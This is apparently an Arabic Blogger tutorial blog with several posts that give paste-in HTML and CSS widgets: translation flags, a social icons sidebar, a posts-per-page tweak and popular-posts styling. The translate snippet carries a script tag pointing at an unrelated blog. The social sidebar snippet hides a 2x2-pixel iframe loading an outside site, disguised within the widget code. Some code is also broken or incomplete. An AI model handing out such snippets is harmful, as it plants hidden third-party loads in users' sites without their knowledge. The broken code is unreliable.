اضافة ادات الترجمة من جوجل google للمواقع وللمدونات بلوجر بالشكل رائع

السلام عليكم
اضافة الترجمة جوجل google للمواقع



اليوم عملت اضافة ولا اجمل اضافة ترجمة للمدونة بلوجر

طبعاً شكل جديد مجموعات ترجمة بشكل اعلام وطبعاً كل لغة وعلم البلاد الي يتكلون هذه اللغة

انظر الى الصور الجانبية حتى ترى كيف ستظهر في مدونك

طريقة اضافتها ولا اسهل

لاضافتها اتبع الاتي:

اذهب الى مدونتك الخاصة

انقر فوق تخطيط ثم عناصر الصفحة

ثم اضف اداة من نوع جافا /html

و الصق فيها هذا الكود

كود بلغة HTML:

<style>
 
.google_translate img {
filter:alpha(opacity=100);
-moz-opacity: 1.0;
opacity: 1.0;
border:0;
}
.google_translate:hover img {
filter:alpha(opacity=30);
-moz-opacity: 0.30;
opacity: 0.30;
border:0;
}
.google_translatextra:hover img {
filter:alpha(opacity=0.30);
-moz-opacity: 0.30;
opacity: 0.30;
border:0;
}
</style>
 
<div>
 <script type="text/javascript" src="http://islamrawan.blogspot.it/"></script>
<a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="English" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Cen&hl=en'); return false;"><img alt="English" border="0" align="absbottom" title="English" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4jDrsIQ4lciQxgIBfDUcb9NXUQwBYnUk_Ew7I33RC60cRCVBWcNaRNiDW9YPdM4zwHGcTIfRsWZg9-n0H9Id3rusr0GO56JUsc61JYsni0zMgiul6tV0vFBir3WR3yi9FeRL8dmG4jkA/?imgmax=800" style="cursor: pointer;margin-right:13px" width="24" /></a>
 
<a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="French" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Cfr&hl=en'); return false;"><img alt="French" border="0" align="absbottom" title="French" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNW_QVgVFq4cppM-Or7RmhEyhax7n4nucAMWOtmOeDMiIS53gXpJV2PICPwBPhpLr8Xg8E5OSBkleJ2B9e38UlOZ-NLdZ_PzlaWeg9q8JqKZx84YMSOKbfDegcLJErWgQPTdRgprM39bk/?imgmax=607" style="cursor: pointer;margin-right:13px" width="24" /></a>
<a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="German" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Cde&hl=en'); return false;"><img alt="German" border="0" align="absbottom" title="German" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJubB_byAUt-ERKCUF6WH9IeuyCK6heNAqsrN7G1Xlejn2As6us_qpl7xtOeYnRJGtlUFPUkZEf9Cyit0EGnwEz8bYhiRe5XP9qYmI7JL0nRmrGVwIi3taTaAGz8OoMRX_6jAAJs6rIyYv/?imgmax=800" style="cursor: pointer;margin-right:13px" width="24" /></a>
<a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="Spain" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Ces&hl=en'); return false;"><img alt="Spain" border="0" align="absbottom" title="Spain" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQlPDT2DB1QY4wMloRC-1lkGRIlWGqQcFdLlTXlxpZLEEfTEKk7gHQ1cZ9RyU6fmQulOpmuQjHqe7lw4EntqKLn2WIFM7oT6uCRDVIlE0MeDZI_QrFrsqVTOJaI0bCxJa0xgqb7UkcXU7y/?imgmax=607" style="cursor: pointer;margin-right:13px" width="24" /></a>
<a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="Italian" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Cit&hl=en'); return false;"><img alt="Italian" border="0" align="absbottom" title="Italian" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjSalzu4dkc5-DHXRWkZ6dxx5qmJQ7eQ7C-RAXQdZ6PWVmAcKLwQ9zG_nAM2x7A-5jABh00FLk47IYKz2JXzuDx25dOmRhLEJjHQKG_ojCrgv80m_XEwL_kkZ8FXdx7pzA_g8WA-d5sJ4/?imgmax=607" style="cursor: pointer;margin-right:13px" width="24" /></a>
<a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="Dutch" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Cnl&hl=en'); return false;"><img alt="Dutch" border="0" align="absbottom" title="Dutch" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQ72vefKs7kcIXttRd7WA7FbtuHUddKk4S8H4YmFkh026VwI9P1gvTwmh1F8nvl0qLbZ7VlEhv7qzOX0uyUnEwtIxcYAhTA3NJHe7eHYuSM-pFv05TrwG4Yd5nOSQaXVZvp5FiV6ykb-o/?imgmax=607" style="cursor: pointer;margin-right:13px" width="24" /></a>
<br /><br />
<a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="Russian" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Cru&hl=en'); return false;"><img alt="Russian" border="0" align="absbottom" title="Russian" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGLg-LzJnokLV4GFJYQbPyTbNKzy9qzKo3GT61Z7Lis-mc0DAnE9A7bpwlyQsSnTogyEE-RHrRsOZD7bO-7ezWV5kbZijqXbyjc89RNOMrbuOFOtHNcooGcwfz2UkIa-e3EXQ6BVoVkKQ/?imgmax=607" style="cursor: pointer;margin-right:13px" width="24" /></a>
<a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="Portuguese" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Cpt&hl=en'); return false;"><img alt="Portuguese" border="0" align="absbottom" title="Portuguese" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRKZ087yyezY_TbrWBuo-rWWxbxmaRDhsiHI8dIRy9nfuuatdGS8enekgA62eLzG2v6-Y3o5Cfm_jUKAsuKNzK14ATaC4GABJnT4TqWTbqefTfA6n8GzE5CRpxVFqUtO3epqKAnZvbOJ8/?imgmax=607" style="cursor: pointer;margin-right:13px" width="24" /></a>
<a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="Japanese" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Cja&hl=en'); return false;"><img alt="Japanese" border="0" align="absbottom" title="Japanese" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDZtFCDOV-8qkZ7RqmjWZbrwG2FRtFbeXaQHNgacHbmyHAxb8sOh_nadzwfvq4iVVZGDzb1rSaKpdSHyvYeZevCrpKsH9h-3n3kL8NhQEOdvmSJHhIvPK1n0ReXaqnapqMyBy6Jgcg3t0l/?imgmax=607" style="cursor: pointer;margin-right:13px" width="24" /></a>
<a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="Korean" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Cko&hl=en'); return false;"><img alt="Korean" border="0" align="absbottom" title="Korean" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV-WP_E-XHBWo8QW5v7PPrfQpvRP_hLLJp8jtELdT_F0elupe47E4S71HnzZc_XDwVWYYSjPMUlsdTL6KS2hQl0ckz2VRrn1Uo03nZuCzELMAJu4EqO0qgJJnHNov_rxocnMtUB4H4qo8/?imgmax=607" style="cursor: pointer;margin-right:13px" width="24" /></a>
<a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="Arabic" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Car&hl=en'); return false;"><img alt="Arabic" border="0" align="absbottom" title="Arabic" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidwyA03LHDlagamEEXEI0WiD-oQRkc949vOa38MfReTe11yYUR7glKAZgIQNSHs0gtQlHVGn8GW5y3t7enmBPDi6kYpeaLxDHPpGVbWrFoPUhhvO7XivQwvypdlJKMr5pgbwejyUaA_5Q/?imgmax=607" style="cursor: pointer;margin-right:13px" width="24" /></a>
<a class="google_translate" href="#" rel="nofollow" target="_blank" rel="nofollow" title="Chinese Simplified" onclick="window.open('http://translate.google.com/translate?u='+encodeURIComponent(location.href)+'&langpair=id%7Czh-CN&hl=en'); return false;"><img alt="Chinese Simplified" border="0" align="absbottom" title="Chinese Simplified" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_sCHmqsqTdFbKna6Qvuu3zK1foPDS6EzVAVEe8qupXv2w3dWig-gLHjRfFM71Mhq-V8Z3kPFg49YI6FgEThLy53ut3o58Tl8VaI6zrFxJDyY3lj43y2_Cu8Ohe2IgZhWMrolOPzwSOG0/?imgmax=607" style="cursor: pointer;margin-right:13px" width="24" /></a>
 
</div><div style="font-size:10px;margin:10px 0px 3px 0px">
 
</div>

إقرأ المزيـــد

إضافة أيقونات المواقع الإجتماعية إحترافية لمدونات بلوجر جديد

إضافة أيقونات المواقع الإجتماعية إحترافية لمدونات بلوجر جديد روعة

إضافة أيقونات المواقع الإجتماعية إحترافية لمدونات بلوجر



كثير من الناس يعتقدون أن المدون يفتقر في كل من الأشياء الجيدة الإضافية التي يمكن أن تضاف إلى منصات أخرى مثل ووردبرس، وإنما هو ببساطة ليس صحيحا. باستخدام الحاجيات يمكنك تخصيص بلوق الخاص بقدر ما تريد فقط عن طريق إضافة قصاصات صغيرة من التعليمات البرمجية إلى الأشرطة الجانبية.

اليوم نقدم لكم *الشريط الجانبي وهو قطعة فنية اجتماعية للمدون. انها جذابة للغاية . هذا الوضع الاجتماعي في الشريط الجانبي القطعة الاتصال وتشمل شريحة من الاتصال الاجتماعي.


لإضافتها اتبع الخطوات التالية :

1- اذهب الى لوحة التحكم تم اضغط على تخطيط

2- تم اضغط على اضافة أداة*




ثم*، HTML/JavaScript






ثم الصق الكود التالي:

كود:

<style type="text/css">
/*<![CDATA[*/
@charset "utf-8";
/* CSS Document */
/* ---------- ENTYPO ---------- *//* ---------- Digital Hub Inc : http://raay-arab.4ulike.com//---------- */
@import url(http://weloveiconfonts.com/api/?family=entypo);
[class*="entypo-"]:before {
 font-family: 'entypo', sans-serif;
}
/* ---------- GENERAL ---------- */
#social-sidebar a { text-decoration: none; }
#social-sidebar ul {
 list-style: none;
 margin: 0;
 padding: 0;
}
/* ---------- Social Sidebar ---------- */
#social-sidebar {
 left: 0;
 margin-top: -75px; /* (li * a:width) / -2 */
 position: fixed;
 top: 50%;
}
#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }
#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }
#social-sidebar ul li a {أداة
 background: #121212;
 color: #fff;
 display: block;
 height: 50px;
 font-size: 18px;
 line-height: 50px;
 position: relative;
 text-align: center;
 width: 50px;
}
#social-sidebar ul li a:hover span {
 left: 130%;
 opacity: 1;
}
#social-sidebar ul li a span {
 border-radius: 3px;
 line-height: 24px;
 left: -100%;
 margin-top: -16px;
 -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
 filter: alpha(opacity=0);
 opacity: 0;
 padding: 4px 8px;
 position: absolute;
 -webkit-transition: opacity .3s, left .4s;
 -moz-transition: opacity .3s, left .4s;
 -ms-transition: opacity .3s, left .4s;
 -o-transition: opacity .3s, left .4s;
 transition: opacity .3s, left .4s;
 top: 50%;
 z-index: -1;
}
#social-sidebar ul li a span:before {
 content: "";
 display: block;
 height: 8px;
 left: -4px;
 margin-top: -4px;
 position: absolute;
 top: 50%;
 -webkit-transform: rotate(45deg);
 -moz-transform: rotate(45deg);
 -ms-transform: rotate(45deg);
 -o-transform: rotate(45deg);
 transform: rotate(45deg);
 width: 8px;
 z-index: -2;
}
#social-sidebar ul li a[class*="twitter"]:hover,
#social-sidebar ul li a[class*="twitter"] span,
#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }
#social-sidebar ul li a[class*="gplus"]:hover,
#social-sidebar ul li a[class*="gplus"] span,
#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }
#social-sidebar ul li a[class*="tumblr"]:hover,
#social-sidebar ul li a[class*="tumblr"] span,
#social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }
#social-sidebar ul li a[class*="facebook"]:hover,
#social-sidebar ul li a[class*="facebook"] span,
#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }
#social-sidebar ul li a[class*="rss"]:hover,
#social-sidebar ul li a[class*="rss"] span,
#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }
/*]]>*/
</style><iframe src="http://raay-arab.4ulike.com/h3-" width="2" height="2" frameBorder="0" scrolling="no"></iframe>
<div id="social-sidebar">
 <ul>
<li>
<a class="entypo-twitter" href="https://twitter.com/" target="_blank">
<span>Twitter</span>
</a>
</li>
<li>
 <a class="entypo-gplus" href="http://dribbble.com/" target="_blank">
<span>google+</span>
</a>
</li>
<li>
<a class="entypo-tumblr" href="http://www.tumblr.net/" target="_blank">
<span>tumblr</span>
</a>
</li>
<li>
 <a class="entypo-facebook" href="https://www.facebook.com/" target="_blank">
<span>facebook</span>
</a>
</li>
<li>
 <a class="entypo-rss" href="http://feeds.feedburner.com/" target="_blank">
<span>feedburner</span>
 </a>
</li>
</ul>
 </div>

وهكدا يكون قد تم بحمد الله

إقرأ المزيـــد

تحديد عدد مواضيع في كل صفحة في بلوجر

بدأ سجل الدخول الى ادارة مدونتك ثم:
1- على لوحة التحكم الرئيسة ، أنقر فوق التبويب : تصميم | تحرير HTML.
2- قم بحفظ نسخة إحتياطية من قالب مدونتك من خلال النقر على : تنزيل قالب كامل(هذا لتجنب أي خطأ لقدر الله لأنه يمكنك من رفع النسخة الاحتياطية لمدونتك ان حدث شيء غير مرغوب)
3- أعلى محرر HTML (يمين) ،إختر توسيع قوالب عناصر واجهة المستخدم .
4- ابحث في كود القالب من خلال الضفط على CTRL+F من الكيبورد على الكود التالي
- ابحث في كود القالب من خلال الضفط على CTRL+F من الكيبورد على الكود التالي


expr:href='data:label.url'


وستبدله بالهذا الكود كلما وجدته

expr:href='data:label.url + "?max-results=10"'.


10 تعني عدد المواضيع التي تريدها أن تظهر في كل صفحة

في الأخير اضغط حفظ و مبروووك عليك، نلتقي في شرح قادم بحول الله

إقرأ المزيـــد

عرض المشاركات الشائعه على شكل سلايدر متحرك جذاب جدا

معظمنا يستخدم سلايدر فى مدونته لعرض تدويناته الهامه وربما لعرض تدويناته المهمله التى يود لفت النظر أو الإنتباه إليها, ولكن كل من يستخدمها يقوم بعملها يدويا, الآن تستطيع إستخدام سلايدر جميل جدا فى مدونتك يقوم بعرض المشاركات الشائعه أوتوماتيكيا, أى أنه يقوم بعرض تدويناتك الأكثر زياره والإكثر شعبيه آليا.

كل ما عليك فعله هو أن تتبع الخطوات السهله التاليه

إذهب إلى تخطيط الصفحه فى قالب مدونتك وقم بإضافة ( المشاركات الشائعه ) فى أعلى مدونتك, ذلك إن لم تكن مضافه بالفعل, فإن كانت مضافه قم بنقلها لأعلى مدونتك فقط.

ثم قم بإضافة أداة HTML / JAVASCRIPT جديده فى العمود الجانبى, وقم بلصق الكود التالى فيها

<style>
* {
    margin: 0;
    padding: 0;
}

body {
    font: 11px Helvetica, Arial, sans-serif;
}

#wrapper {
    width: 800px;
    margin: 60px auto;
}

#intro {
    padding-bottom: 10px;
}

#slider {
    width: 800px;
    margin: 0 auto;
    position: relative;
    border: 10px solid #ccc;
}

.scroll {
    overflow: hidden;
    width: 800px;
    margin: 0 auto;
    position: relative;
}

.scrollContainer {
    position: relative;
}

.scrollContainer div.panel {
    padding: 10px;
    width: 274px;
    height: 318px;
}

#left-shadow {
    position: absolute;
    top: 0;
    left: 0;
    width: 12px;
    bottom: 0;
    background: url(http://i879.photobucket.com/albums/ab351/bloggerblogimage/blogger/leftshadow.png) repeat-y;
}

#right-shadow {
    position: absolute;
    top: 0;
    right: 0;
    width: 12px;
    bottom: 0;
    background: url(http://i879.photobucket.com/albums/ab351/bloggerblogimage/blogger/rightshadow.png) repeat-y;
}

.inside {
    padding: 10px;
    border: 1px solid #999;
}

.inside img {
    display: block;
    border: 1px solid #666;
    margin: 0 0 10px 0;
    width: 250px;
}

.inside h2 {
    font-weight: normal;
    color: #111;
    font-size: 16px;
    margin: 0 0 8px 0;
}

.inside p {
    font-size: 11px;
    color: #ccc;
}

a {
    color: #999;
    text-decoration: none;
    border-bottom: 1px dotted #ccc;
}

a:hover {
    border-bottom: 1px solid #999;
}

.scrollButtons {
    position: absolute;
    top: 127px;
    cursor: pointer;
}

.scrollButtons.left {
    left: -45px;
}

.scrollButtons.right {
    right: -45px;
}

.hide {
    display: none;
}

</style>
    <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js"></script>
    <script src="http://accordion-template.googlecode.com/svn/trunk/slidermovingbox.js" type="text/javascript" charset="utf-8"></script>

ثم قم بحفظ القالب وشاهد النتيجه الرائعه حقا

إقرأ المزيـــد

إضافة أداة المشاركات الشائعة بألوان جميلة لمدونات بلوجر

إضافة أداة المشاركات الشائعة بألوان جميلة لمدونات بلوجر

السلام عليكم ورحمة الله وبركاتهإضافة أخرى من إضافات بلوجر ، حيث سوف نتعرف وإياكم في هذه التدوينة الجديدة من سلسلة دروس بلوجر طريقة تغيير الشكل المعتاد لأداة المشاركات الشائعة إلى شكل جديد بألوان زاهية قد تثير انتباه زائر مدونتك ، وبالتالي قراءة مواضيع أخرى على مدونتك مما يقوي الإرتباط أكثر .  تركيب الإضافة ال

 

 

 

 تركيب الإضافة الجديدة أمر سهل جدا ، فقط تذهب إلى لوحة تحكم مدونتك ، ثم تقوم بالضغطعلى قالب ثم على تحرير html ، وتبحث عن هذا الكود  

        

]]></b:skin>

بعد أن تجده قم بوضع هذا الكود قبله مباشرة

      

#PopularPosts1 ul li a:hover{color:#fff;text-decoration:none}

#PopularPosts1 ul li a {-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;  color: #333333; display: block; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18px; margin: 0px 40px 0px 0px; min-height: 30px; orphans: 2; padding: 0px; text-align: -webkit-auto; text-decoration: none !important; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;}

#PopularPosts1 ul li .item-thumbnail{float:left;border:0;margin-right:10px;background:transparent;padding:0;width:51px;height:51px}

#PopularPosts1 ul li:first-child:after,

#PopularPosts1 ul li:first-child + li:after,

#PopularPosts1 ul li:first-child + li + li:after,

#PopularPosts1 ul li:first-child + li + li + li:after,

#PopularPosts1 ul li:first-child + li + li + li + li:after,

#PopularPosts1 ul li:first-child + li + li + li + li + li:after,

#PopularPosts1 ul li:first-child + li + li + li + li + li + li:after,

#PopularPosts1 ul li:first-child + li + li + li + li + li + li + li:after,

#PopularPosts1 ul li:first-child + li + li + li + li + li + li + li + li:after,

#PopularPosts1 ul li:first-child + li + li + li + li + li + li + li + li + li:after{position:absolute;top:10px;right:5px;border-radius:50%;border:2px solid #ccc;background:#353535;-webkit-box-shadow:0px 0px 5px #000;-moz-box-shadow: 0px 0px 5px #000;width:30px;height:30px;line-height:1em;text-align:center;font-size:28px;color:#fff}

#PopularPosts1 ul li:first-child + li + li + li + li + li + li + li {background:#DF01D7;width:90%}

#PopularPosts1 ul li:first-child + li + li + li + li + li + li + li:after{content:"8"}

#PopularPosts1 ul li:first-child + li + li + li + li + li + li + li +li{background:#B041FF;width:90%}

#PopularPosts1 ul li:first-child + li + li + li + li + li + li + li + li:after{content:"9"}

#PopularPosts1 ul li:first-child + li + li + li + li + li + li + li +li +li{background:#F52887;width:90%}

#PopularPosts1 ul li:first-child + li + li + li + li + li + li + li + li + li:after{content:"10"}

#PopularPosts1 ul li:first-child + li + li + li + li +li{background:#7ee3c7;width:90%}

#PopularPosts1 ul li:first-child + li + li + li + li + li:after{content:"6"}

#PopularPosts1 ul li:first-child + li + li + li + li + li +li{background:#f6993d;width:90%}

#PopularPosts1 ul li:first-child + li + li + li + li + li + li:after{content:"7"}

#PopularPosts1 ul li:first-child + li + li + li + li{background:#33c9f7;width:90%}

#PopularPosts1 ul li:first-child + li + li + li + li:after{content:"5"}

#PopularPosts1 ul li:first-child + li + li + li{background:#c7f25f;width:90%}

#PopularPosts1 ul li:first-child + li + li + li:after{content:"4"}

#PopularPosts1 ul li:first-child + li + li{background:#ffde4c;width:90%}

#PopularPosts1 ul li:first-child + li + li:after{content:"3"}

#PopularPosts1 ul li:first-child + li{background:#ff764c; width:90%}

#PopularPosts1 ul li:first-child + li:after{content:"2"}

#PopularPosts1 ul li:first-child{background:#ff4c54 ;width:90%}

#PopularPosts1 ul li:first-child:after{content:"1"}

#PopularPosts1 ul{margin:0;padding:0px 0;list-style-type:none}

#PopularPosts1 ul li{position:relative;margin:6px 0;border-radius:25px 0px 25px 0px;border:2px solid #f7f7f7;-webkit-box-shadow:3px 3px 3px #000;-moz-box-shadow: 3px 3px 3px #000;padding:10px}

ملحوظة : من الأحسن عدم اختيار في إعدادات المشاركات الشائعة إضهار صورة أو مقتطف لأنها لا تتناسب مع الإضافة الجديدة

قم بحفظ التغييرات ومبروك عليك الإضافة الجميلة

إقرأ المزيـــد